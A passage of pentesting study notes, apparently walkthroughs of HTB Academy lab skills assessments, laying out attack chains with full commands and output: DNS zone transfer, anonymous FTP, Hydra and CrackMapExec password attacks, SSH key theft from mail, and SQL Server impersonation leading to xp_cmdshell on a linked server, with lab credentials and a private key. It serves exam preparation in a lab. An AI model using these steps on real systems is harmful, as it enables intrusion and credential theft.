un.inlanefreight.htb.	604800	IN	A	10.129.200.142
ws1.inlanefreight.htb.	604800	IN	A	10.129.200.101
ws2.inlanefreight.htb.	604800	IN	A	10.129.200.102
wsus.inlanefreight.htb.	604800	IN	A	10.129.200.80
inlanefreight.htb.	604800	IN	SOA	inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
;; Query time: 13 msec
;; SERVER: 10.129.183.208#53(10.129.183.208)
;; WHEN: Sun Nov 27 16:59:44 GMT 2022
;; XFR size: 13 records (messages 1, bytes 372)
Critical Discovery: int-ftp.inlanefreight.htb points to 127.0.0.1 (localhost)

🌐 Phase 2: vHost Configuration & Internal Service Discovery

vHost Addition to Local Hosts

# HTB Academy vHost configuration for internal access
sudo sh -c 'echo "10.129.183.208 int-ftp.inlanefreight.htb" >> /etc/hosts'

Internal FTP Service Discovery

# HTB Academy internal FTP service enumeration
nmap -p- -T4 -A int-ftp.inlanefreight.htb

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-27 17:16 GMT
Nmap scan report for int-ftp.inlanefreight.htb (10.129.183.208)
Host is up (0.014s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
<SNIP>
30021/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Internal FTP) [10.129.183.208]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
Discovery: ProFTPD server on non-standard port 30021

πŸ“‚ Phase 3: Anonymous FTP Access & Intelligence Gathering

Anonymous FTP Connection

# HTB Academy anonymous FTP access
ftp int-ftp.inlanefreight.htb 30021

Connected to int-ftp.inlanefreight.htb.
220 ProFTPD Server (Internal FTP) [10.129.183.208]
Name (int-ftp.inlanefreight.htb:root): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: anonymous@test.com
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.

File System Exploration

# HTB Academy FTP directory listing
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x   2 ftp      ftp          4096 Apr 18  2022 simon
226 Transfer complete

# Navigate to user directory
ftp> cd simon
250 CWD command successful

ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 ftp      ftp           153 Apr 18  2022 mynotes.txt
226 Transfer complete

# Download intelligence file
ftp> get mynotes.txt
local: mynotes.txt remote: mynotes.txt
200 PORT command successful
150 Opening BINARY mode data connection for mynotes.txt (153 bytes)
226 Transfer complete
153 bytes received in 0.00 secs (53.1723 kB/s)

ftp> bye
221 Goodbye.
Intelligence Gathered: Password wordlist file mynotes.txt for user simon

πŸ” Phase 4: POP3 Credential Attack

Password List Analysis

# HTB Academy wordlist content (mynotes.txt contains potential passwords)
cat mynotes.txt
# (Contains various password candidates for simon user)

POP3 Password Brute Force

# HTB Academy POP3 credential attack using discovered wordlist
hydra -l simon -P mynotes.txt pop3://10.129.183.208

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-27 17:32:00
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task
[DATA] attacking pop3://10.129.183.208:110/
[110][pop3] host: 10.129.183.208   login: simon   password: 8Ns8j1b!23hs4921smHzwn
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-27 17:32:05
Result: Valid credentials simon:8Ns8j1b!23hs4921smHzwn discovered

πŸ“§ Phase 5: POP3 Email Access & SSH Key Extraction

POP3 Mail Access

# HTB Academy POP3 email access
nc -nv 10.129.183.208 110

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.183.208:110.
+OK Dovecot (Ubuntu) ready.

user simon
+OK

pass 8Ns8j1b!23hs4921smHzwn
+OK Logged in.

Email Enumeration & Retrieval

# HTB Academy email listing and retrieval
list
+OK 1 messages:
1 1630
.

retr 1
+OK 1630 octets
From admin@inlanefreight.htb  Mon Apr 18 19:36:10 2022
Return-Path: <root@inlanefreight.htb>
X-Original-To: simon@inlanefreight.htb
Delivered-To: simon@inlanefreight.htb
Received: by inlanefreight.htb (Postfix, from userid 0)
	id 9953E832A8; Mon, 18 Apr 2022 19:36:10 +0000 (UTC)
Subject: New Access
To: <simon@inlanefreight.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20220418193610.9953E832A8@inlanefreight.htb>
Date: Mon, 18 Apr 2022 19:36:10 +0000 (UTC)
From: Admin <root@inlanefreight.htb>

Hi,
Here is your new key Simon. Enjoy and have a nice day..

-----BEGIN OPENSSH PRIVATE KEY----- 
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn NhAAAAAwEAAQAAAIEN11i6S5a2WTtRlu2BG8nQ7RKBtK0AgOlREm+mfdZWpPn0HEvl92S4 4W1H2nKwAWwZIBlUmw4iUqoGjib5KvN7H4xapGWIc5FPb/FVI64DjMdcUNlv5GZ38M1yKm w5xKGD/5xEWZt6tofpgYLUNxK62zh09IfbEOORkc5J9z2jUpEAAAIITrtUA067VAMAAAAH c3NoLXJzYQAAAIEN11i6S5a2WTtRlu2BG8nQ7RKBtK0AgOlREm+mfdZWpPn0HEvl92S44W 1H2nKwAWwZIBlUmw4iUqoGjib5KvN7H4xapGWIc5FPb/FVI64DjMdcUNlv5GZ38M1yKmw5
xKGD/5xEWZt6tofpgYLUNxK62zh09IfbEOORkc5J9z2jUpEAAAADAQABAAAAgQe3Qpknxi 6E89J55pCQoyK65hQ0WjTrqCUvt9oCUFggw85Xb+AU16tQz5C8sC55vH8NK9HEVk6/8lSR Lhy82tqGBfgGfvrx5pwPH9a5TFhxnEX/GHIvXhR0dBlbhUkQrTqOIc1XUdR+KjR1j8E0yi ZA4qKw1pK6BQLkHaCd3csBoQAAAEECeVZIC1Pq6T8/PnIHj0LpRcR8dEN0681+OfWtcJbJ hAWVrZ1wrgEg4i75wTgud5zOTV07FkcVXVBXSaWSPbmR7AAAAEED81FX7PttXnG6nSCqjz B85dsxntGw7C232hwgWVPM7DxCJQm21pxAwSLxp9CU9wnTwrYkVpEyLYYHkMknBMK0/QAA AEEDgPIA7TI4F8bPjOwNlLNulbQcT5amDp51fRWapCq45M7ptN4pTGrB97IBKPTi5qdodg 
O9Tm1rkjQ60Ty8OIjyJQAAABBzaW1vbkBsaW4tbWVkaXVtAQ== 
-----END OPENSSH PRIVATE KEY-----

quit
+OK Logging out.
Critical Discovery: SSH private key for user simon obtained from email

πŸ” Phase 6: SSH Key Processing & Authentication

SSH Key Formatting

# HTB Academy SSH private key extraction and formatting
echo '-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn NhAAAAAwEAAQAAAIEN11i6S5a2WTtRlu2BG8nQ7RKBtK0AgOlREm+mfdZWpPn0HEvl92S4 4W1H2nKwAWwZIBlUmw4iUqoGjib5KvN7H4xapGWIc5FPb/FVI64DjMdcUNlv5GZ38M1yKm w5xKGD/5xEWZt6tofpgYLUNxK62zh09IfbEOORkc5J9z2jUpEAAAIITrtUA067VAMAAAAH c3NoLXJzYQAAAIEN11i6S5a2WTtRlu2BG8nQ7RKBtK0AgOlREm+mfdZWpPn0HEvl92S44W 1H2nKwAWwZIBlUmw4iUqoGjib5KvN7H4xapGWIc5FPb/FVI64DjMdcUNlv5GZ38M1yKmw5 xKGD/5xEWZt6tofpgYLUNxK62zh09IfbEOORkc5J9z2jUpEAAAADAQABAAAAgQe3Qpknxi 6E89J55pCQoyK65hQ0WjTrqCUvt9oCUFggw85Xb+AU16tQz5C8sC55vH8NK9HEVk6/8lSR Lhy82tqGBfgGfvrx5pwPH9a5TFhxnEX/GHIvXhR0dBlbhUkQrTqOIc1XUdR+KjR1j8E0yi ZA4qKw1pK6BQLkHaCd3csBoQAAAEECeVZIC1Pq6T8/PnIHj0LpRcR8dEN0681+OfWtcJbJ hAWVrZ1wrgEg4i75wTgud5zOTV07FkcVXVBXSaWSPbmR7AAAAEED81FX7PttXnG6nSCqjz B85dsxntGw7C232hwgWVPM7DxCJQm21pxAwSLxp9CU9wnTwrYkVpEyLYYHkMknBMK0/QAA AEEDgPIA7TI4F8bPjOwNlLNulbQcT5amDp51fRWapCq45M7ptN4pTGrB97IBKPTi5qdodg O9Tm1rkjQ60Ty8OIjyJQAAABBzaW1vbkBsaW4tbWVkaXVtAQ== -----END OPENSSH PRIVATE KEY-----' | sed 's/ /\n/g' > id_rsa

Formatted SSH Private Key

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAIEN11i6S5a2WTtRlu2BG8nQ7RKBtK0AgOlREm+mfdZWpPn0HEvl92S4
4W1H2nKwAWwZIBlUmw4iUqoGjib5KvN7H4xapGWIc5FPb/FVI64DjMdcUNlv5GZ38M1yKm
w5xKGD/5xEWZt6tofpgYLUNxK62zh09IfbEOORkc5J9z2jUpEAAAIITrtUA067VAMAAAAH
c3NoLXJzYQAAAIEN11i6S5a2WTtRlu2BG8nQ7RKBtK0AgOlREm+mfdZWpPn0HEvl92S44W
1H2nKwAWwZIBlUmw4iUqoGjib5KvN7H4xapGWIc5FPb/FVI64DjMdcUNlv5GZ38M1yKmw5
xKGD/5xEWZt6tofpgYLUNxK62zh09IfbEOORkc5J9z2jUpEAAAADAQABAAAAgQe3Qpknxi
6E89J55pCQoyK65hQ0WjTrqCUvt9oCUFggw85Xb+AU16tQz5C8sC55vH8NK9HEVk6/8lSR
Lhy82tqGBfgGfvrx5pwPH9a5TFhxnEX/GHIvXhR0dBlbhUkQrTqOIc1XUdR+KjR1j8E0yi
ZA4qKw1pK6BQLkHaCd3csBoQAAAEECeVZIC1Pq6T8/PnIHj0LpRcR8dEN0681+OfWtcJbJ
hAWVrZ1wrgEg4i75wTgud5zOTV07FkcVXVBXSaWSPbmR7AAAAEED81FX7PttXnG6nSCqjz
B85dsxntGw7C232hwgWVPM7DxCJQm21pxAwSLxp9CU9wnTwrYkVpEyLYYHkMknBMK0/QAA
AEEDgPIA7TI4F8bPjOwNlLNulbQcT5amDp51fRWapCq45M7ptN4pTGrB97IBKPTi5qdodg
O9Tm1rkjQ60Ty8OIjyJQAAABBzaW1vbkBsaW4tbWVkaXVtAQ==
-----END OPENSSH PRIVATE KEY-----

SSH Key Permissions & Access

# HTB Academy SSH key permission setup
chmod 600 id_rsa

# SSH connection using private key
ssh -i id_rsa simon@10.129.229.46

The authenticity of host '10.129.229.46 (10.129.229.46)' can't be established.
ECDSA key fingerprint is SHA256:3I77Le3AqCEUd+1LBAraYTRTF74wwJZJiYcnwfF5yAs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.229.46' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-107-generic x86_64)
<SNIP>

🎯 Phase 7: Flag Extraction

Final Flag Retrieval

# HTB Academy flag extraction
simon@lin-medium:~$ cat flag.txt
HTB{...}

πŸ“Š Attack Chain Summary - Medium Difficulty

Complete Attack Flow

1. Service Discovery    β†’ Nmap scan (DNS service identified)
2. DNS Zone Transfer    β†’ AXFR query (internal hosts discovered)
3. vHost Configuration  β†’ /etc/hosts modification (int-ftp access)
4. Internal FTP Access  β†’ Anonymous login (ProFTPD port 30021)
5. Intelligence Gather  β†’ FTP file download (password wordlist)
6. POP3 Credential Attack β†’ Hydra with custom wordlist
7. Email Access        β†’ POP3 connection (SSH key discovery)
8. SSH Key Processing   β†’ Email parsing and key formatting
9. SSH Authentication  β†’ Private key-based login
10. Flag Extraction     β†’ File system access as simon user

Services & Techniques Utilized

βœ… DNS      - Zone transfer exploitation (dig AXFR)
βœ… vHost    - Internal service discovery (/etc/hosts)
βœ… FTP      - Anonymous access (ProFTPD non-standard port)
βœ… POP3     - Credential attack with custom wordlist
βœ… Email    - Intelligence extraction (SSH keys)
βœ… SSH      - Private key authentication

Advanced Learning Points

1. DNS Zone Transfer Exploitation
   - AXFR queries for internal network discovery
   - Virtual host identification and configuration

2. Internal Service Discovery
   - Non-standard port identification (30021)
   - Anonymous FTP access patterns

3. Intelligence-Driven Attacks
   - Custom wordlist creation from gathered intelligence
   - Multi-service credential reuse patterns

4. Email-Based Key Distribution
   - SSH private key extraction from emails
   - Key formatting and permission management

5. Complex Attack Chain Integration
   - 6+ different services in attack path
   - Each phase enabling the next attack vector

πŸ”§ Complete Tool Chain - Medium Difficulty

Full Command Reference

# Service Discovery
nmap -A target_ip

# DNS Zone Transfer
dig AXFR inlanefreight.htb @target_ip

# vHost Configuration
sudo sh -c 'echo "target_ip int-ftp.inlanefreight.htb" >> /etc/hosts'

# Internal Service Discovery
nmap -p- -T4 -A int-ftp.inlanefreight.htb

# Anonymous FTP Access
ftp int-ftp.inlanefreight.htb 30021

# POP3 Credential Attack
hydra -l username -P wordlist.txt pop3://target_ip

# POP3 Email Access
nc -nv target_ip 110

# SSH Key Processing
echo 'ssh_key_string' | sed 's/ /\n/g' > id_rsa
chmod 600 id_rsa

# SSH Authentication
ssh -i id_rsa username@target_ip

πŸ”— Skills Assessment Comparison

Easy vs Medium Difficulty

Easy Skills Assessment
  • Attack Chain: 7 phases (Service Discovery β†’ Web Shell β†’ Flag)
  • Services: FTP, SMTP, HTTP, HTTPS, MySQL (5 services)
  • Key Techniques: User enumeration, credential attacks, directory traversal, file upload
  • Complexity: Medium - Multiple exploitation paths available
Medium Skills Assessment
  • Attack Chain: 10 phases (DNS β†’ vHost β†’ SSH Key β†’ Flag)
  • Services: DNS, FTP, POP3, SSH (4 services + vHost discovery)
  • Key Techniques: Zone transfers, internal service discovery, email intelligence, SSH keys
  • Complexity: High - Linear attack chain with each phase dependent on previous

Practical CPTS Skills Demonstrated

Easy Level:
βœ… Multi-service enumeration
βœ… Credential attacks
βœ… Web shell deployment
βœ… Directory traversal
βœ… Alternative exploitation paths

Medium Level:
βœ… DNS zone transfer attacks
βœ… Internal network discovery
βœ… vHost enumeration
βœ… Custom wordlist creation
βœ… Email intelligence gathering
βœ… SSH key-based authentication
βœ… Complex linear attack chains

🎯 Skills Assessment - Hard Difficulty

🎯 Overview - Hard Challenge

This document covers the Skills Assessment (Hard) from HTB Academy’s β€œAttacking Common Services” module. This expert-level exercise demonstrates advanced Windows exploitation involving SMB share enumeration, custom wordlist attacks, RDP authentication, SQL Server user impersonation, and linked server exploitation.
Target Domain: Windows environment with multiple services
Objective: β€œRetrieve user files and obtain administrator flag”
Skills Tested: SMB enumeration, credential attacks, RDP access, SQL Server impersonation, linked server attacks, xp_cmdshell exploitation

πŸ” Phase 1: Service Discovery & Windows Enumeration

Initial Nmap Scan

# HTB Academy Skills Assessment Hard - Windows target reconnaissance
nmap -A -Pn 10.129.112.104

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-27 19:19 GMT
Nmap scan report for 10.129.112.104
Host is up (0.013s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: WIN-HARD
|   NetBIOS_Domain_Name: WIN-HARD
|   NetBIOS_Computer_Name: WIN-HARD
|   DNS_Domain_Name: WIN-HARD
|   DNS_Computer_Name: WIN-HARD
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-11-27T19:16:10
|_Not valid after:  2052-11-27T19:16:10
|_ssl-date: 2022-11-27T19:20:37+00:00; +1s from scanner time.
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-HARD
|   NetBIOS_Domain_Name: WIN-HARD
|   NetBIOS_Computer_Name: WIN-HARD
|   DNS_Domain_Name: WIN-HARD
|   DNS_Computer_Name: WIN-HARD
|   Product_Version: 10.0.17763
|_  System_Time: 2022-11-27T19:19:57+00:00
|_ssl-date: 2022-11-27T19:20:37+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=WIN-HARD
| Not valid before: 2022-11-26T19:16:00
|_Not valid after:  2023-05-28T19:16:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-11-27T19:20:00
|_  start_date: N/A
| ms-sql-info: 
|   10.129.112.104:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Key Services Identified

βœ… RPC (135)      - Microsoft Windows RPC
βœ… SMB (445)      - Microsoft SMB (signing not required)
βœ… SQL (1433)     - Microsoft SQL Server 2019 RTM
βœ… RDP (3389)     - Microsoft Terminal Services
Target System: WIN-HARD (Windows 10.0 Build 17763)

πŸ“‚ Phase 2: SMB Share Enumeration & File Collection

SMB Share Discovery

# HTB Academy SMB share enumeration
smbclient -N -L 10.129.112.104

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Home            Disk      
	IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available
Discovery: Home share available for anonymous access

SMB Share Exploration

# HTB Academy Home share access and exploration
smbclient -N //10.129.112.104/Home

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 21 22:18:21 2022
  ..                                  D        0  Thu Apr 21 22:18:21 2022
  HR                                  D        0  Thu Apr 21 21:04:39 2022
  IT                                  D        0  Thu Apr 21 21:11:44 2022
  OPS                                 D        0  Thu Apr 21 21:05:10 2022
  Projects                            D        0  Thu Apr 21 21:04:48 2022

		7706623 blocks of size 4096. 3168554 blocks available
Discovery: Multiple department directories including IT department

User File Collection from IT Department

# HTB Academy IT department file collection
smb: \> cd IT\Fiona\
smb: \IT\Fiona\> get creds.txt 
getting file \IT\Fiona\creds.txt of size 118 as creds.txt (2.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)

smb: \IT\Fiona\> cd ../Simon\
smb: \IT\Simon\> get random.txt
getting file \IT\Simon\random.txt of size 94 as random.txt (2.4 KiloBytes/sec) (average 2.6 KiloBytes/sec)

smb: \IT\Simon\> cd ../John\
smb: \IT\John\> prompt
smb: \IT\John\> mget *
getting file \IT\John\information.txt of size 101 as information.txt (2.5 KiloBytes/sec) (average 2.6 KiloBytes/sec)
getting file \IT\John\notes.txt of size 164 as notes.txt (4.0 KiloBytes/sec) (average 2.9 KiloBytes/sec)
getting file \IT\John\secrets.txt of size 99 as secrets.txt (2.4 KiloBytes/sec) (average 2.8 KiloBytes/sec)
Files Retrieved:
  • From Simon: random.txt βœ… (Question 1 answer)
  • From Fiona: creds.txt
  • From John: information.txt, notes.txt, secrets.txt

πŸ” Phase 3: Custom Wordlist Creation & Credential Attacks

Password Wordlist Compilation

# HTB Academy custom wordlist creation from collected files
cat creds.txt secrets.txt random.txt > passwords.txt
Strategy: Combine all potential password files from different users

SMB Credential Attack

# HTB Academy CrackMapExec SMB password attack
sudo cme smb 10.129.112.104 -u fiona -p passwords.txt

/root/.local/pipx/venvs/crackmapexec/lib/python3.9/site-packages/paramiko/transport.py:236: CryptographyDeprecationWarning: Blowfish has been deprecated
  "class": algorithms.Blowfish,
SMB         10.129.112.104  445    WIN-HARD         [*] Windows 10.0 Build 17763 x64 (name:WIN-HARD) (domain:WIN-HARD) (signing:False) (SMBv1:False)
SMB         10.129.112.104  445    WIN-HARD         [-] WIN-HARD\fiona:Windows Creds STATUS_LOGON_FAILURE 
SMB         10.129.112.104  445    WIN-HARD         [-] WIN-HARD\fiona: STATUS_LOGON_FAILURE 
SMB         10.129.112.104  445    WIN-HARD         [-] WIN-HARD\fiona:kAkd03SA@#! STATUS_LOGON_FAILURE 
SMB         10.129.112.104  445    WIN-HARD         [+] WIN-HARD\fiona:48Ns72!bns74@S84NNNSl
Result: Valid credentials fiona:48Ns72!bns74@S84NNNSl discovered βœ… (Question 2 answer)

πŸ–₯️ Phase 4: RDP Authentication & SQL Server Access

RDP Connection

# HTB Academy RDP access with discovered credentials
xfreerdp /v:10.129.203.10 /u:fiona /p:'48Ns72!bns74@S84NNNSl'

<SNIP>
[20:59:35:699] [15143:15144] [ERROR][com.freerdp.crypto] - does not match the name given in the certificate:
[20:59:35:699] [15143:15144] [ERROR][com.freerdp.crypto] - Common Name (CN):
[20:59:35:699] [15143:15144] [ERROR][com.freerdp.crypto] - 	WIN-HARD
[20:59:35:699] [15143:15144] [ERROR][com.freerdp.crypto] - A valid certificate for the wrong name should NOT be trusted!
Certificate details for 10.129.203.10:3389 (RDP-Server):
	Common Name: WIN-HARD
	Subject:     CN = WIN-HARD
	Issuer:      CN = WIN-HARD
	Thumbprint:  6a:a8:87:fc:e0:83:73:73:e7:da:b0:ec:d7:5d:33:e2:62:c3:97:ac:9e:d3:ae:72:b6:1c:83:93:ea:bf:50:d8
The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
Please look at the OpenSSL documentation on how to add a private CA to the store.
Do you trust the above certificate? (Y/T/N) Y
<SNIP>
Success: RDP session established as user fiona

SQL Server Connection via Windows Authentication

# HTB Academy SQL Server connection using Windows Authentication
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Fiona> SQLCMD.EXE -S WIN-HARD
1>
Access: SQLCMD connection established to local SQL Server instance

πŸ‘€ Phase 5: SQL Server User Impersonation Discovery

Impersonation Privilege Enumeration

-- HTB Academy SQL Server impersonation privilege discovery
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
GO

name
-------------
john
simon

(2 rows affected)
Discovery: Users john and simon can be impersonated βœ… (Question 3 answer: john)

πŸ”— Phase 6: Linked Server Discovery & Exploitation

Linked Server Enumeration

-- HTB Academy linked server discovery
SELECT srvname, isremote FROM sysservers
GO

srvname                           isremote
--------------------------------- --------
WINSRV02\SQLEXPRESS                1
LOCAL.TEST.LINKED.SRV              0

(2 rows affected)
Discovery:
  • WINSRV02\SQLEXPRESS (remote server)
  • LOCAL.TEST.LINKED.SRV (linked server)

User Impersonation & Linked Server Access

-- HTB Academy john user impersonation and linked server sysadmin check
EXECUTE AS LOGIN = 'john'
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]
GO

WINSRV02\SQLEXPRESS Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
        Sep 24 2019 13:48:23
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
        testadmin 1

(1 rows affected)
Critical Discovery:
  • User john can access LOCAL.TEST.LINKED.SRV
  • On linked server, john has sysadmin privileges as testadmin
  • Target server: WINSRV02\SQLEXPRESS

πŸ’» Phase 7: xp_cmdshell Enablement & Command Execution

xp_cmdshell Configuration

-- HTB Academy xp_cmdshell enablement on linked server
EXECUTE('EXECUTE sp_configure ''show advanced options'', 1;RECONFIGURE;EXECUTE sp_configure ''xp_cmdshell'', 1;RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
GO

Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
Success: xp_cmdshell enabled on linked server for command execution

Administrator Flag Extraction

-- HTB Academy administrator flag retrieval via xp_cmdshell
EXECUTE('xp_cmdshell ''more c:\users\administrator\desktop\flag.txt''') AT [LOCAL.TEST.LINKED.SRV]
GO

output
---------------------------------------------
HTB{...}
NULL

(2 rows affected)

πŸ“Š Attack Chain Summary - Hard Difficulty

Complete Attack Flow

1. Service Discovery    β†’ Nmap scan (Windows services identified)
2. SMB Share Enumeration β†’ Anonymous access to Home share
3. File Collection      β†’ User files from IT department (3 users)
4. Wordlist Creation    β†’ Custom passwords from collected files
5. Credential Attack    β†’ CrackMapExec SMB brute force
6. RDP Authentication   β†’ xfreerdp with valid credentials
7. SQL Server Access    β†’ SQLCMD Windows Authentication
8. Impersonation Discovery β†’ SQL Server user privilege enumeration
9. Linked Server Discovery β†’ Remote SQL Server identification
10. User Impersonation   β†’ EXECUTE AS LOGIN john
11. Linked Server Access β†’ Sysadmin privileges on remote server
12. xp_cmdshell Enablement β†’ Remote command execution capability
13. Administrator Access β†’ Flag extraction from remote system

Advanced Services & Techniques

βœ… SMB      - Anonymous share access, file collection
βœ… Custom   - Multi-user wordlist compilation  
βœ… CME      - CrackMapExec credential attacks
βœ… RDP      - xfreerdp Windows authentication
βœ… SQL      - Windows Authentication, user impersonation
βœ… Linked   - Cross-server SQL Server exploitation
βœ… xp_cmdshell - Remote command execution via SQL

Expert Learning Points

1. Windows Multi-Service Exploitation
   - SMB anonymous access for intelligence gathering
   - Custom wordlist creation from multiple sources
   - RDP authentication with complex passwords

2. SQL Server Advanced Attacks
   - Windows Authentication exploitation
   - User impersonation privilege abuse
   - Linked server discovery and enumeration

3. Cross-Server Attack Chains
   - Local privilege escalation via impersonation
   - Remote server access through linked servers
   - xp_cmdshell command execution on remote systems

4. Intelligence-Driven Methodology
   - File collection from multiple user directories
   - Password pattern analysis across users
   - Privilege mapping across multiple SQL instances

5. Windows Enterprise Environment
   - Multi-tier SQL Server architecture
   - Cross-domain authentication mechanisms
   - Administrative privilege escalation paths

πŸ”§ Complete Tool Chain - Hard Difficulty

Full Command Reference

# Service Discovery
nmap -A -Pn target_ip

# SMB Share Enumeration
smbclient -N -L target_ip
smbclient -N //target_ip/share_name

# Custom Wordlist Creation
cat file1.txt file2.txt file3.txt > passwords.txt

# Credential Attacks
sudo cme smb target_ip -u username -p passwords.txt

# RDP Access
xfreerdp /v:target_ip /u:username /p:'password'

# SQL Server Access
SQLCMD.EXE -S server_name

# SQL Server Impersonation
EXECUTE AS LOGIN = 'username'

# Linked Server Enumeration
SELECT srvname, isremote FROM sysservers

# Cross-Server Execution
EXECUTE('command') AT [LINKED.SERVER.NAME]

# xp_cmdshell Enablement
EXECUTE('EXECUTE sp_configure ''xp_cmdshell'', 1;RECONFIGURE') AT [LINKED.SERVER]

# Remote Command Execution
EXECUTE('xp_cmdshell ''command''') AT [LINKED.SERVER]

πŸ”— Complete Skills Assessment Trilogy

Difficulty Progression Overview

Easy Skills Assessment
  • Attack Chain: 7 phases (Basic multi-service exploitation)
  • Services: FTP, SMTP, HTTP, HTTPS, MySQL (5 services)
  • Complexity: Medium - Multiple exploitation paths
  • Key Skills: Service enumeration, credential attacks, directory traversal
Medium Skills Assessment
  • Attack Chain: 10 phases (Advanced linear dependency chain)
  • Services: DNS, vHost, FTP, POP3, Email, SSH (6 services)
  • Complexity: High - Each phase enables next attack
  • Key Skills: Zone transfers, vHost discovery, SSH key extraction
Hard Skills Assessment
  • Attack Chain: 13 phases (Expert Windows enterprise exploitation)
  • Services: SMB, RDP, SQL Server, Linked Servers (4+ services)
  • Complexity: Expert - Cross-server privilege escalation
  • Key Skills: Windows authentication, SQL impersonation, linked server attacks

Complete CPTS Skills Matrix

Foundation Level (Easy):
βœ… Multi-service enumeration and exploitation
βœ… Web application attack vectors
βœ… Database exploitation techniques
βœ… Alternative exploitation path discovery

Intermediate Level (Medium):
βœ… DNS infrastructure attacks
βœ… Internal network service discovery
βœ… Email-based intelligence gathering
βœ… SSH key-based authentication

Advanced Level (Hard):
βœ… Windows enterprise environment exploitation
βœ… SMB share and file system analysis
βœ… SQL Server authentication and impersonation
βœ… Cross-server attack chain development
βœ… Administrative privilege escalation

This complete Skills Assessment trilogy provides comprehensive practical scenarios spanning beginner to expert levels, demonstrating the full spectrum of attack techniques covered in the β€œAttacking Common Services” module for thorough CPTS exam preparation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services/skills-assessment.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.